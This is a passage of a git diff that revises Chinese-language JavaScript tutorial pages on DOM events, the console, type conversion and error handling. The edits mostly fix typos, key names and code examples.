+`Event.detail`属性只有浏览器的 UI （用户界面）事件才具有。该属性返回一个数值，表示事件的某种信息。具体含义与事件类型相关。比如，对于`click`和`dblclick`事件，`Event.detail`是鼠标按下的次数（`1`表示单击，`2`表示双击，`3`表示三击）；对于鼠标滚轮事件，`Event.detail`是滚轮正向滚动的距离，负值就是负向滚动的距离，返回值总是3的倍数。
 
 ```javascript
 // HTML 代码如下
@@ -297,4 +304,3 @@ div.addEventListener('click', function (e) {
 ```
 
 上面代码中，`click`事件的最底层节点是`p`，向上依次是`div`、`body`、`html`、`document`、`Window`。
-
diff --git a/docs/events/eventtarget.md b/docs/events/eventtarget.md
index 5ec81e6..ca69057 100644
--- a/docs/events/eventtarget.md
+++ b/docs/events/eventtarget.md
@@ -2,19 +2,21 @@
 
 事件的本质是程序各个组成部分之间的一种通信方式，也是异步编程的一种实现。DOM 支持大量的事件，本章开始介绍 DOM 的事件编程。
 
+介绍具体的事件之前，先来看看如何让 DOM 节点监听事件。
+
 ## 概述
 
-DOM 的事件操作（监听和触发），都定义在`EventTarget`接口。所有节点对象都部署了这个接口，其他一些需要事件通信的浏览器内置对象（比如，`XMLHttpRequest`、`AudioNode`、`AudioContext`）也部署了这个接口。
+DOM 节点的事件操作（监听和触发），都定义在`EventTarget`接口。所有节点对象都部署了这个接口，其他一些需要事件通信的浏览器内置对象（比如，`XMLHttpRequest`、`AudioNode`、`AudioContext`）也部署了这个接口。
 
 该接口主要提供三个实例方法。
 
-- `addEventListener`：绑定事件的监听函数
-- `removeEventListener`：移除事件的监听函数
-- `dispatchEvent`：触发事件
+- `addEventListener()`：绑定事件的监听函数
+- `removeEventListener()`：移除事件的监听函数
+- `dispatchEvent()`：触发事件
 
 ## EventTarget.addEventListener()
 
-`EventTarget.addEventListener()`用于在当前节点或对象上，定义一个特定事件的监听函数。一旦这个事件发生，就会执行监听函数。该方法没有返回值。
+`EventTarget.addEventListener()`用于在当前节点或对象上（即部署了 EventTarget 接口的对象），定义一个特定事件的监听函数。一旦这个事件发生，就会执行监听函数。该方法没有返回值。
 
 ```javascript
 target.addEventListener(type, listener[, useCapture]);
@@ -24,7 +26,7 @@ target.addEventListener(type, listener[, useCapture]);
 
 - `type`：事件名称，大小写敏感。
 - `listener`：监听函数。事件发生时，会调用该监听函数。
-- `useCapture`：布尔值，表示监听函数是否在捕获阶段（capture）触发（参见后文《事件的传播》部分），默认为`false`（监听函数只在冒泡阶段被触发）。该参数可选。
+- `useCapture`：布尔值，如果设为`true`，表示监听函数将在捕获阶段（capture）触发（参见后文《事件的传播》部分）。该参数可选，默认值为`false`（监听函数只在冒泡阶段被触发）。
 
 下面是一个例子。
 
@@ -37,11 +39,11 @@ var button = document.getElementById('btn');
 button.addEventListener('click', hello, false);
 ```
 
-上面代码中，`button`节点的`addEventListener`方法绑定`click`事件的监听函数`hello`，该函数只在冒泡阶段触发。
+上面代码中，`button`节点的`addEventListener()`方法绑定`click`事件的监听函数`hello()`，该函数只在冒泡阶段触发。
 
 关于参数，有两个地方需要注意。
 
-首先，第二个参数除了监听函数，还可以是一个具有`handleEvent`方法的对象。
+首先，第二个参数除了监听函数，还可以是一个具有`handleEvent`方法的对象，效果与监听函数一样。
 
 ```javascript
 buttonElement.addEventListener('click', {
@@ -51,15 +53,16 @@ buttonElement.addEventListener('click', {
 });
 ```
 
-上面代码中，`addEventListener`方法的第二个参数，就是一个具有`handleEvent`方法的对象。
+上面代码中，`addEventListener()`方法的第二个参数，就是一个具有`handleEvent()`方法的对象。
 
-其次，第三个参数除了布尔值`useCapture`，还可以是一个属性配置对象。该对象有以下属性。
+其次，第三个参数除了布尔值`useCapture`，还可以是一个监听器配置对象，定制事件监听行为。该对象有以下属性。
 
-> - `capture`：布尔值，表示该事件是否在`捕获阶段`触发监听函数。
-> - `once`：布尔值，表示监听函数是否只触发一次，然后就自动移除。
-> - `passive`：布尔值，表示监听函数不会调用事件的`preventDefault`方法。如果监听函数调用了，浏览器将忽略这个要求，并在监控台输出一行警告。
+> - `capture`：布尔值，如果设为`true`，表示监听函数在捕获阶段触发，默认为`false`，在冒泡阶段触发。
+> - `once`：布尔值，如果设为`true`，表示监听函数执行一次就会自动移除，后面将不再监听该事件。该属性默认值为`false`。
+> - `passive`：布尔值，设为`true`时，表示禁止监听函数调用`preventDefault()`方法。如果调用了，浏览器将忽略这个要求，并在控制台输出一条警告。该属性默认值为`false`。
+> - `signal`：该属性的值为一个 AbortSignal 对象，为监听器设置了一个信号通道，用来在需要时发出信号，移除监听函数。
 
-如果希望事件监听函数只执行一次，可以打开属性配置对象的`once`属性。
+下面是`once`属性的例子，让监听函数只执行一次。
 
 ```javascript
 element.addEventListener('click', function (event) {
@@ -67,7 +70,7 @@ element.addEventListener('click', function (event) {
 }, {once: true});
 ```
 
-`addEventListener`方法可以为针对当前对象的同一个事件，添加多个不同的监听函数。这些函数按照添加顺序触发，即先添加先触发。如果为同一个事件多次添加同一个监听函数，该函数只会执行一次，多余的添加将自动被去除（不必使用`removeEventListener`方法手动去除）。
+`addEventListener()`方法可以为针对当前对象的同一个事件，添加多个不同的监听函数。这些函数按照添加顺序触发，即先添加先触发。如果为同一个事件多次添加同一个监听函数，该函数只会执行一次，多余的添加将自动被去除（不必使用`removeEventListener()`方法手动去除）。
 
 ```javascript
 function hello() {
@@ -108,40 +111,40 @@ para.addEventListener('click', function (e) {
 
 ## EventTarget.removeEventListener()
 
-`EventTarget.removeEventListener`方法用来移除`addEventListener`方法添加的事件监听函数。该方法没有返回值。
+`EventTarget.removeEventListener()`方法用来移除`addEventListener()`方法添加的事件监听函数。该方法没有返回值。
 
 ```javascript
 div.addEventListener('click', listener, false);
 div.removeEventListener('click', listener, false);
 ```
 
-`removeEventListener`方法的参数，与`addEventListener`方法完全一致。它的第一个参数“事件类型”，大小写敏感。
+`removeEventListener()`方法的参数，与`addEventListener()`方法完全一致。它的第一个参数“事件类型”，大小写敏感。
 
-注意，`removeEventListener`方法移除的监听函数，必须是`addEventListener`方法添加的那个监听函数，而且必须在同一个元素节点，否则无效。
+注意，`removeEventListener()`方法移除的监听函数，必须是`addEventListener()`方法添加的那个监听函数，而且必须在同一个元素节点，否则无效。
 
 ```javascript
 div.addEventListener('click', function (e) {}, false);
 div.removeEventListener('click', function (e) {}, false);
 ```
 
-上面代码中，`removeEventListener`方法无效，因为监听函数不是同一个匿名函数。
+上面代码中，`removeEventListener()`方法无效，因为监听函数不是同一个匿名函数。
 
 ```javascript
 element.addEventListener('mousedown', handleMouseDown, true);
 element.removeEventListener("mousedown", handleMouseDown, false);
 ```
 
-上面代码中，`removeEventListener`方法也是无效的，因为第三个参数不一样。
+上面代码中，`removeEventListener()`方法也是无效的，因为第三个参数不一样。
 
 ## EventTarget.dispatchEvent()
 
-`EventTarget.dispatchEvent`方法在当前节点上触发指定事件，从而触发监听函数的执行。该方法返回一个布尔值，只要有一个监听函数调用了`Event.preventDefault()`，则返回值为`false`，否则为`true`。
+`EventTarget.dispatchEvent()`方法在当前节点上触发指定事件，从而触发监听函数的执行。该方法返回一个布尔值，只要有一个监听函数调用了`Event.preventDefault()`，则返回值为`false`，否则为`true`。
 
 ```javascript
 target.dispatchEvent(event)
 ```
 
-`dispatchEvent`方法的参数是一个`Event`对象的实例（详见《Event 对象》章节）。
+`dispatchEvent()`方法的参数是一个`Event`对象的实例（详见《Event 对象》章节）。
 
 ```javascript
 para.addEventListener('click', hello, false);
@@ -151,9 +154,9 @@ para.dispatchEvent(event);
 
 上面代码在当前节点触发了`click`事件。
 
-如果`dispatchEvent`方法的参数为空，或者不是一个有效的事件对象，将报错。
+如果`dispatchEvent()`方法的参数为空，或者不是一个有效的事件对象，将报错。
 
-下面代码根据`dispatchEvent`方法的返回值，判断事件是否被取消了。
+下面代码根据`dispatchEvent()`方法的返回值，判断事件是否被取消了。
 
 ```javascript
 var canceled = !cb.dispatchEvent(event);
diff --git a/docs/events/form.md b/docs/events/form.md
index 5a5266b..ab7912d 100644
--- a/docs/events/form.md
+++ b/docs/events/form.md
@@ -49,9 +49,9 @@ elem.addEventListener('select', function (e) {
 
 选中的文本可以通过`event.target`元素的`selectionDirection`、`selectionEnd`、`selectionStart`和`value`属性拿到。
 
-### Change 事件
+### change 事件
 
-`Change`事件当`<input>`、`<select>`、`<textarea>`的值发生变化时触发。它与`input`事件的最大不同，就是不会连续触发，只有当全部修改完成时才会触发，另一方面`input`事件必然伴随`change`事件。具体来说，分成以下几种情况。
+`change`事件当`<input>`、`<select>`、`<textarea>`的值发生变化时触发。它与`input`事件的最大不同，就是不会连续触发，只有当全部修改完成时才会触发，另一方面`input`事件必然伴随`change`事件。具体来说，分成以下几种情况。
 
 - 激活单选框（radio）或复选框（checkbox）时触发。
 - 用户提交时触发。比如，从下列列表（select）完成选择，在日期或文件输入框完成选择。
@@ -139,9 +139,8 @@ function myFunction(e) {
 - 手动插入文本：`insertText`
 - 粘贴插入文本：`insertFromPaste`
 - 向后删除：`deleteContentBackward`
-- 向前删除：`deleteContentBackward`
+- 向前删除：`deleteContentForward`
 
 **（3）InputEvent.dataTransfer**
 
 `InputEvent.dataTransfer`属性返回一个 DataTransfer 实例。该属性只在文本框接受粘贴内容（insertFromPaste）或拖拽内容（`insertFromDrop`）时才有效。
-
diff --git a/docs/events/globaleventhandlers.md b/docs/events/globaleventhandlers.md
index 09f0a8b..000dc1b 100644
--- a/docs/events/globaleventhandlers.md
+++ b/docs/events/globaleventhandlers.md
@@ -163,4 +163,3 @@ document.oncontextmenu = function () {
 
 - oncancel
 - onclose
-
diff --git a/docs/events/keyboard.md b/docs/events/keyboard.md
index 315f9ff..4e33320 100644
--- a/docs/events/keyboard.md
+++ b/docs/events/keyboard.md
@@ -40,7 +40,7 @@ new KeyboardEvent(type, options)
 
 ## KeyboardEvent 的实例属性
 
-### KeyboardEvent.altKey，KeyboardEvent.metaKey.ctrlKey，KeyboardEvent.metaKey，KeyboardEvent.shiftKey
+### KeyboardEvent.altKey，KeyboardEvent.ctrlKey，KeyboardEvent.metaKey，KeyboardEvent.shiftKey
 
 以下属性都是只读属性，返回一个布尔值，表示是否按下对应的键。
 
@@ -56,7 +56,7 @@ function showChar(e) {
   console.log('ALT: ' + e.altKey);
   console.log('CTRL: ' + e.ctrlKey);
   console.log('Meta: ' + e.metaKey);
-  console.log('Meta: ' + e.shiftKey);
+  console.log('Shift: ' + e.shiftKey);
 }
 
 document.body.addEventListener('keydown', showChar, false);
@@ -66,15 +66,15 @@ document.body.addEventListener('keydown', showChar, false);
 
 `KeyboardEvent.code`属性返回一个字符串，表示当前按下的键的字符串形式。该属性只读。
 
-下面是一些常用键的字符串形式，其他键请查[文档](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/code#Code_values)。
+下面是一些常用键的字符串形式，其他键请查[文档](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/code/code_values)。
 
-- 数字键0 - 9：返回`digital0` - `digital9`
+- 数字键0 - 9：返回`digit0` - `digit9`
 - 字母键A - z：返回`KeyA` - `KeyZ`
 - 功能键F1 - F12：返回 `F1` - `F12`
 - 方向键：返回`ArrowDown`、`ArrowUp`、`ArrowLeft`、`ArrowRight`
 - Alt 键：返回`AltLeft`或`AltRight`
 - Shift 键：返回`ShiftLeft`或`ShiftRight`
-- Ctrl 键：返回`ControLeft`或`ControlRight`
+- Ctrl 键：返回`ControlLeft`或`ControlRight`
 
 ### KeyboardEvent.key
 
@@ -125,4 +125,3 @@ if (
 ```
 
 上面代码表示，只要`Control`、`Alt`、`Meta`里面，同时按下任意两个或两个以上的键就返回。
-
diff --git a/docs/events/model.md b/docs/events/model.md
index 3880330..3629f12 100644
--- a/docs/events/model.md
+++ b/docs/events/model.md
@@ -34,8 +34,8 @@ HTML 语言允许在元素的属性中，直接定义某些事件的监听代码
 使用这个方法指定的监听代码，只会在冒泡阶段触发。
 
 ```html
-<div onClick="console.log(2)">
-  <button onClick="console.log(1)">点击</button>
+<div onclick="console.log(2)">
+  <button onclick="console.log(1)">点击</button>
 </div>
 ```
 
@@ -139,7 +139,7 @@ btn.addEventListener(
 
 上面代码中，`<div>`节点之中有一个`<p>`节点。
 
-如果对这两个节点，都设置`click`事件的监听函数（每个节点的捕获阶段和监听阶段，各设置一个监听函数），共计设置四个监听函数。然后，对`<p>`点击，`click`事件会触发四次。
+如果对这两个节点，都设置`click`事件的监听函数（每个节点的捕获阶段和冒泡阶段，各设置一个监听函数），共计设置四个监听函数。然后，对`<p>`点击，`click`事件会触发四次。
 
 ```javascript
 var phases = {
@@ -244,4 +244,3 @@ p.addEventListener('click', function(event) {
 ```
 
 上面代码中，`stopImmediatePropagation`方法可以彻底取消这个事件，使得后面绑定的所有`click`监听函数都不再触发。所以，只会输出1，不会输出2。
-
diff --git a/docs/events/mouse.md b/docs/events/mouse.md
index 6108e1e..cd1d463 100644
--- a/docs/events/mouse.md
+++ b/docs/events/mouse.md
@@ -2,23 +2,30 @@
 
 ## 鼠标事件的种类
 
-鼠标事件指与鼠标相关的事件，继承了`MouseEvent`接口。具体的事件主要有以下一些。
+鼠标事件主要有下面这些，所有事件都继承了`MouseEvent`接口（详见后文）。
+
+（1）点击事件
+
+鼠标点击相关的有四个事件。
 
 - `click`：按下鼠标（通常是按下主按钮）时触发。
 - `dblclick`：在同一个元素上双击鼠标时触发。
 - `mousedown`：按下鼠标键时触发。
 - `mouseup`：释放按下的鼠标键时触发。
+
+`click`事件可以看成是两个事件组成的：用户在同一个位置先触发`mousedown`，再触发`mouseup`。因此，触发顺序是，`mousedown`首先触发，`mouseup`接着触发，`click`最后触发。
+
+双击时，`dblclick`事件则会在`mousedown`、`mouseup`、`click`之后触发。
+
+（2）移动事件
+
+鼠标移动相关的有五个事件。
+
 - `mousemove`：当鼠标在一个节点内部移动时触发。当鼠标持续移动时，该事件会连续触发。为了避免性能问题，建议对该事件的监听函数做一些限定，比如限定一段时间内只能运行一次。
 - `mouseenter`：鼠标进入一个节点时触发，进入子节点不会触发这个事件（详见后文）。
 - `mouseover`：鼠标进入一个节点时触发，进入子节点会再一次触发这个事件（详见后文）。
 - `mouseout`：鼠标离开一个节点时触发，离开父节点也会触发这个事件（详见后文）。
 - `mouseleave`：鼠标离开一个节点时触发，离开父节点不会触发这个事件（详见后文）。
-- `contextmenu`：按下鼠标右键时（上下文菜单出现前）触发，或者按下“上下文菜单键”时触发。
-- `wheel`：滚动鼠标的滚轮时触发，该事件继承的是`WheelEvent`接口。
-
-`click`事件指的是，用户在同一个位置先完成`mousedown`动作，再完成`mouseup`动作。因此，触发顺序是，`mousedown`首先触发，`mouseup`接着触发，`click`最后触发。
-
-`dblclick`事件则会在`mousedown`、`mouseup`、`click`之后触发。
 
 `mouseover`事件和`mouseenter`事件，都是鼠标进入一个节点时触发。两者的区别是，`mouseenter`事件只触发一次，而只要鼠标在节点内部移动，`mouseover`事件会在子节点上触发多次。
 
@@ -27,7 +34,7 @@
  <ul>
    <li>item 1</li>
    <li>item 2</li>
-  <li>item 3</li>
+   <li>item 3</li>
  </ul>
 */
 
@@ -62,7 +69,7 @@ ul.addEventListener('mouseover', function (event) {
  <ul>
    <li>item 1</li>
    <li>item 2</li>
-  <li>item 3</li>
+   <li>item 3</li>
  </ul>
 */
 
@@ -90,19 +97,24 @@ ul.addEventListener('mouseout', function (event) {
 
 上面代码中，在父节点内部离开子节点，不会触发`mouseleave`事件，但是会触发`mouseout`事件。
 
-## MouseEvent 接口概述
+（3）其他事件
+
+- `contextmenu`：按下鼠标右键时（上下文菜单出现前）触发，或者按下“上下文”菜单键时触发。
+- `wheel`：滚动鼠标的滚轮时触发，该事件继承的是`WheelEvent`接口。
+
+## MouseEvent 接口
 
 `MouseEvent`接口代表了鼠标相关的事件，单击（click）、双击（dblclick）、松开鼠标键（mouseup）、按下鼠标键（mousedown）等动作，所产生的事件对象都是`MouseEvent`实例。此外，滚轮事件和拖拉事件也是`MouseEvent`实例。
 
-`MouseEvent`接口继承了`Event`接口，所以拥有`Event`的所有属性和方法。它还有自己的属性和方法。
+`MouseEvent`接口继承了`Event`接口，所以拥有`Event`的所有属性和方法，并且还提供鼠标独有的属性和方法。
 
-浏览器原生提供一个`MouseEvent`构造函数，用于新建一个`MouseEvent`实例。
+浏览器原生提供一个`MouseEvent()`构造函数，用于新建一个`MouseEvent`实例。
 
 ```javascript
 var event = new MouseEvent(type, options);
 ```
 
-`MouseEvent`构造函数接受两个参数。第一个参数是字符串，表示事件名称；第二个参数是一个事件配置对象，该参数可选。除了`Event`接口的实例配置属性，该对象可以配置以下属性，所有属性都是可选的。
+`MouseEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件名称；第二个参数是一个事件配置对象，该参数可选。除了`Event`接口的实例配置属性，该对象可以配置以下属性，所有属性都是可选的。
 
 - `screenX`：数值，鼠标相对于屏幕的水平位置（单位像素），默认值为0，设置该属性不会移动鼠标。
 - `screenY`：数值，鼠标相对于屏幕的垂直位置（单位像素），其他与`screenX`相同。
@@ -233,7 +245,7 @@ currentEvent.movementY = currentEvent.screenY - previousEvent.screenY。
 // <body onmousedown="showCoords(event)">
 function showCoords(evt) {
   console.log(
-    'screenX value: ' + evt.screenX + '\n'
+    'screenX value: ' + evt.screenX + '\n',
     'screenY value: ' + evt.screenY + '\n'
   );
 }
@@ -313,7 +325,7 @@ document.body.addEventListener(
 ```javascript
 /*
   HTML 代码如下
-  <div id="outer" style="height:50px;width:50px;border-width:1px solid black;">
+  <div id="outer" style="height:50px;width:50px;border:1px solid black;">
     <div id="inner" style="height:25px;width:25px;border:1px solid black;"></div>
   </div>
 */
@@ -325,10 +337,10 @@ inner.addEventListener('mouseover', function (event) {
 inner.addEventListener('mouseenter', function (event) {
   console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
 });
-inner.addEventListener('mouseout', function () {
+inner.addEventListener('mouseout', function (event) {
   console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
 });
-inner.addEventListener("mouseleave", function (){
+inner.addEventListener("mouseleave", function (event){
   console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
 });
 
diff --git a/docs/events/progress.md b/docs/events/progress.md
index 0927ef7..30e6f1e 100644
--- a/docs/events/progress.md
+++ b/docs/events/progress.md
@@ -150,4 +150,3 @@ xhr.upload.addEventListener('abort', transferCanceled, false);
 
 xhr.open();
 ```
-
diff --git a/docs/events/touch.md b/docs/events/touch.md
index f07659d..b191497 100644
--- a/docs/events/touch.md
+++ b/docs/events/touch.md
@@ -8,7 +8,7 @@
 - TouchList：多个触摸点的集合
 - TouchEvent：触摸引发的事件实例
 
-`Touch`接口的实例对象用来触摸点（一根手指或者一根触摸笔），包括位置、大小、形状、压力、目标元素等属性。有时，触摸动作由多个触摸点（多根手指）组成，多个触摸点的集合由`TouchList`接口的实例对象表示。`TouchEvent`接口的实例对象代表由触摸引发的事件，只有触摸屏才会引发这一类事件。
+`Touch`接口的实例对象用来表示触摸点（一根手指或者一根触摸笔），包括位置、大小、形状、压力、目标元素等属性。有时，触摸动作由多个触摸点（多根手指）组成，多个触摸点的集合由`TouchList`接口的实例对象表示。`TouchEvent`接口的实例对象代表由触摸引发的事件，只有触摸屏才会引发这一类事件。
 
 很多时候，触摸事件和鼠标事件同时触发，即使这个时候并没有用到鼠标。这是为了让那些只定义鼠标事件、没有定义触摸事件的代码，在触摸屏的情况下仍然能用。如果想避免这种情况，可以用`event.preventDefault`方法阻止发出鼠标事件。
 
@@ -209,7 +209,7 @@ function touches_in_target(ev) {
 - `touchstart`：用户开始触摸时触发，它的`target`属性返回发生触摸的元素节点。
 - `touchend`：用户不再接触触摸屏时（或者移出屏幕边缘时）触发，它的`target`属性与`touchstart`事件一致的，就是开始触摸时所在的元素节点。它的`changedTouches`属性返回一个`TouchList`实例，包含所有不再触摸的触摸点（即`Touch`实例对象）。
 - `touchmove`：用户移动触摸点时触发，它的`target`属性与`touchstart`事件一致。如果触摸的半径、角度、力度发生变化，也会触发该事件。
-- `touchcancel`：触摸点取消时触发，比如在触摸区域跳出一个情态窗口（modal window）、触摸点离开了文档区域（进入浏览器菜单栏）、用户的触摸点太多，超过了支持的上限（自动取消早先的触摸点）。
+- `touchcancel`：触摸点取消时触发，比如在触摸区域跳出一个模态窗口（modal window）、触摸点离开了文档区域（进入浏览器菜单栏）、用户的触摸点太多，超过了支持的上限（自动取消早先的触摸点）。
 
 下面是一个例子。
 
@@ -235,4 +235,3 @@ function handleMove(evt) {
   }
 }
 ```
-
diff --git a/docs/features/console.md b/docs/features/console.md
index 8367112..0dc237a 100644
--- a/docs/features/console.md
+++ b/docs/features/console.md
@@ -11,7 +11,7 @@
 
 `console`对象的浏览器实现，包含在浏览器自带的开发工具之中。以 Chrome 浏览器的“开发者工具”（Developer Tools）为例，可以使用下面三种方法的打开它。
 
-1. 按 F12 或者`Control + Shift + i`（PC）/ `Alt + Command + i`（Mac）。
+1. 按 F12 或者`Control + Shift + i`（PC）/ `Command + Option + i`（Mac）。
 2. 浏览器菜单选择“工具/开发者工具”。
 3. 在一个页面元素上，打开右键菜单，选择其中的“Inspect Element”。
 
@@ -83,7 +83,7 @@ console.log('%d %s balloons', number, color);
 
 上面代码中，第二个参数是数值，对应的占位符是`%d`，第三个参数是字符串，对应的占位符是`%s`。
 
-使用`%c`占位符时，对应的参数必须是 CSS 代码，用来对输出内容进行CSS渲染。
+使用`%c`占位符时，对应的参数必须是 CSS 代码，用来对输出内容进行 CSS 渲染。
 
 ```javascript
 console.log(
@@ -288,7 +288,7 @@ console.assert(false, '判断条件不成立')
 
 // 相当于
 try {
-  if (false) {
+  if (!false) {
     throw new Error('判断条件不成立');
   }
 } catch(e) {
@@ -333,8 +333,8 @@ console.log('一级分组的内容');
 console.group('二级分组');
 console.log('二级分组的内容');
 
-console.groupEnd(); // 一级分组结束
 console.groupEnd(); // 二级分组结束
+console.groupEnd(); // 一级分组结束
 ```
 
 上面代码会将“二级分组”显示在“一级分组”内部，并且“一级分组”和“二级分组”前面都有一个折叠符号，可以用来折叠本级的内容。
diff --git a/docs/features/conversion.md b/docs/features/conversion.md
index 9a68298..f495f4b 100644
--- a/docs/features/conversion.md
+++ b/docs/features/conversion.md
@@ -22,7 +22,7 @@ var x = y ? 1 : 'a';
 
 ## 强制转换
 
-强制转换主要指使用`Number`、`String`和`Boolean`三个函数，手动将各种类型的值，分布转换成数字、字符串或者布尔值。
+强制转换主要指使用`Number()`、`String()`和`Boolean()`三个函数，手动将各种类型的值，分别转换成数字、字符串或者布尔值。
 
 ### Number()
 
@@ -260,13 +260,13 @@ String({
 
 ### Boolean()
 
-`Boolean`函数可以将任意类型的值转为布尔值。
+`Boolean()`函数可以将任意类型的值转为布尔值。
 
 它的转换规则相对简单：除了以下五个值的转换结果为`false`，其他的值全部为`true`。
 
 - `undefined`
 - `null`
-- `-0`或`+0`
+- `0`（包含`-0`和`+0`）
 - `NaN`
 - `''`（空字符串）
 
@@ -278,6 +278,13 @@ Boolean(NaN) // false
 Boolean('') // false
 ```
 
+当然，`true`和`false`这两个布尔值不会发生变化。
+
+```javascript
+Boolean(true) // true
+Boolean(false) // false
+```
+
 注意，所有对象（包括空对象）的转换结果都是`true`，甚至连`false`对应的布尔对象`new Boolean(false)`也是`true`（详见《原始类型值的包装对象》一章）。
 
 ```javascript
@@ -315,13 +322,13 @@ if ('abc') {
 - [1, 2, 3] // NaN
 ```
 
-自动转换的规则是这样的：预期什么类型的值，就调用该类型的转换函数。比如，某个位置预期为字符串，就调用`String`函数进行转换。如果该位置即可以是字符串，也可能是数值，那么默认转为数值。
+自动转换的规则是这样的：预期什么类型的值，就调用该类型的转换函数。比如，某个位置预期为字符串，就调用`String()`函数进行转换。如果该位置既可以是字符串，也可能是数值，那么默认转为数值。
 
-由于自动转换具有不确定性，而且不易除错，建议在预期为布尔值、数值、字符串的地方，全部使用`Boolean`、`Number`和`String`函数进行显式转换。
+由于自动转换具有不确定性，而且不易除错，建议在预期为布尔值、数值、字符串的地方，全部使用`Boolean()`、`Number()`和`String()`函数进行显式转换。
 
 ### 自动转换为布尔值
 
-JavaScript 遇到预期为布尔值的地方（比如`if`语句的条件部分），就会将非布尔值的参数自动转换为布尔值。系统内部会自动调用`Boolean`函数。
+JavaScript 遇到预期为布尔值的地方（比如`if`语句的条件部分），就会将非布尔值的参数自动转换为布尔值。系统内部会自动调用`Boolean()`函数。
 
 因此除了以下五个值，其他都是自动转为`true`。
 
@@ -344,7 +351,7 @@ if ( !undefined
 } // true
 ```
 
-下面两种写法，有时也用于将一个表达式转为布尔值。它们内部调用的也是`Boolean`函数。
+下面两种写法，有时也用于将一个表达式转为布尔值。它们内部调用的也是`Boolean()`函数。
 
 ```javascript
 // 写法一
@@ -385,7 +392,7 @@ obj.width + 20 // "10020"
 
 ### 自动转换为数值
 
-JavaScript 遇到预期为数值的地方，就会将参数值自动转换为数值。系统内部会自动调用`Number`函数。
+JavaScript 遇到预期为数值的地方，就会将参数值自动转换为数值。系统内部会自动调用`Number()`函数。
 
 除了加法运算符（`+`）有可能把运算子转为字符串，其他运算符都会把运算子自动转成数值。
 
diff --git a/docs/features/error.md b/docs/features/error.md
index 8a7aa40..670e377 100644
--- a/docs/features/error.md
+++ b/docs/features/error.md
@@ -9,7 +9,7 @@ var err = new Error('出错了');
 err.message // "出错了"
 ```
 
-上面代码中，我们调用`Error`构造函数，生成一个实例对象`err`。`Error`构造函数接受一个参数，表示错误提示，可以从实例的`message`属性读到这个参数。抛出`Error`实例对象以后，整个程序就中断在发生错误的地方，不再往下执行。
+上面代码中，我们调用`Error()`构造函数，生成一个实例对象`err`。`Error()`构造函数接受一个参数，表示错误提示，可以从实例的`message`属性读到这个参数。抛出`Error`实例对象以后，整个程序就中断在发生错误的地方，不再往下执行。
 
 JavaScript 语言标准只提到，`Error`实例对象必须有`message`属性，表示出错时的提示信息，没有提到其他属性。大多数 JavaScript 引擎，对`Error`实例还提供`name`和`stack`属性，分别表示错误的名称和错误的堆栈，但它们是非标准的，不是每种实现都有。
 
@@ -79,19 +79,15 @@ unknownVariable
 // Uncaught ReferenceError: unknownVariable is not defined
 ```
 
-另一种触发场景是，将一个值分配给无法分配的对象，比如对函数的运行结果或者`this`赋值。
+另一种触发场景是，将一个值分配给无法分配的对象，比如对函数的运行结果赋值。
 
 ```javascript
 // 等号左侧不是变量
 console.log() = 1
 // Uncaught ReferenceError: Invalid left-hand side in assignment
-
-// this 对象不能手动赋值
-this = 1
-// ReferenceError: Invalid left-hand side in assignment
 ```
 
-上面代码对函数`console.log`的运行结果和`this`赋值，结果都引发了`ReferenceError`错误。
+上面代码对函数`console.log`的运行结果赋值，结果引发了`ReferenceError`错误。
 
 ### RangeError 对象
 
@@ -109,7 +105,7 @@ new Array(-1)
 
 ```javascript
 new 123
-// Uncaught TypeError: number is not a func
+// Uncaught TypeError: 123 is not a constructor
 
 var obj = {};
 obj.unknownMethod()
@@ -133,7 +129,7 @@ decodeURI('%2')
 
 ### 总结
 
-以上这6种派生错误，连同原始的`Error`对象，都是构造函数。开发者可以使用它们，手动生成错误对象的实例。这些构造函数都接受一个函数，代表错误提示信息（message）。
+以上这6种派生错误，连同原始的`Error`对象，都是构造函数。开发者可以使用它们，手动生成错误对象的实例。这些构造函数都接受一个参数，代表错误提示信息（message）。
 
 ```javascript
 var err1 = new Error('出错了！');
@@ -170,13 +166,15 @@ new UserError('这是自定义的错误！');
 `throw`语句的作用是手动中断程序执行，抛出一个错误。
 
 ```javascript
-if (x < 0) {
+var x = -1;
+
+if (x <= 0) {
   throw new Error('x 必须为正数');
 }
-// Uncaught ReferenceError: x is not defined
+// Uncaught Error: x 必须为正数
 ```
 
-上面代码中，如果变量`x`小于`0`，就手动抛出一个错误，告诉用户`x`的值不正确，整个程序就会在这里中断执行。可以看到，`throw`抛出的错误就是它的参数，这里是一个`Error`实例。
+上面代码中，如果变量`x`小于等于`0`，就手动抛出一个错误，告诉用户`x`的值不正确，整个程序就会在这里中断执行。可以看到，`throw`抛出的错误就是它的参数，这里是一个`Error`对象的实例。
 
 `throw`也可以抛出自定义错误。
 
@@ -315,10 +313,12 @@ function cleansUp() {
 
 cleansUp()
 // 完成清理工作
-// Error: 出错了……
+// Uncaught Error: 出错了……
+//    at cleansUp (<anonymous>:3:11)
+//    at <anonymous>:10:1
 ```
 
-上面代码中，由于没有`catch`语句块，所以错误没有捕获。执行`finally`代码块以后，程序就中断在错误抛出的地方。
+上面代码中，由于没有`catch`语句块，一旦发生错误，代码就会中断执行。中断执行之前，会先执行`finally`代码块，然后再向用户提示报错信息。
 
 ```javascript
 function idle(x) {
@@ -326,17 +326,16 @@ function idle(x) {
     console.log(x);
     return 'result';
   } finally {
-    console.log("FINALLY");
+    console.log('FINALLY');
   }
 }
 
 idle('hello')
 // hello
 // FINALLY
-// "result"
 ```
 
-上面代码说明，`try`代码块没有发生错误，而且里面还包括`return`语句，但是`finally`代码块依然会执行。注意，只有在其执行完毕后，才会显示`return`语句的值。
+上面代码中，`try`代码块没有发生错误，而且里面还包括`return`语句，但是`finally`代码块依然会执行。而且，这个函数的返回值还是`result`。
 
 下面的例子说明，`return`语句的执行是排在`finally`代码之前，只是等`finally`代码执行完毕后才返回。
 
@@ -356,7 +355,7 @@ count
 // 1
 ```
 
-上面代码说明，`return`语句的`count`的值，是在`finally`代码块运行之前就获取了。
+上面代码说明，`return`语句里面的`count`的值，是在`finally`代码块运行之前就获取了。
 
 下面是`finally`代码块用法的典型场景。
 
@@ -405,7 +404,7 @@ result
 
 上面代码中，`catch`代码块结束执行之前，会先执行`finally`代码块。
 
-`catch`代码块之中，触发转入`finally`代码快的标志，不仅有`return`语句，还有`throw`语句。
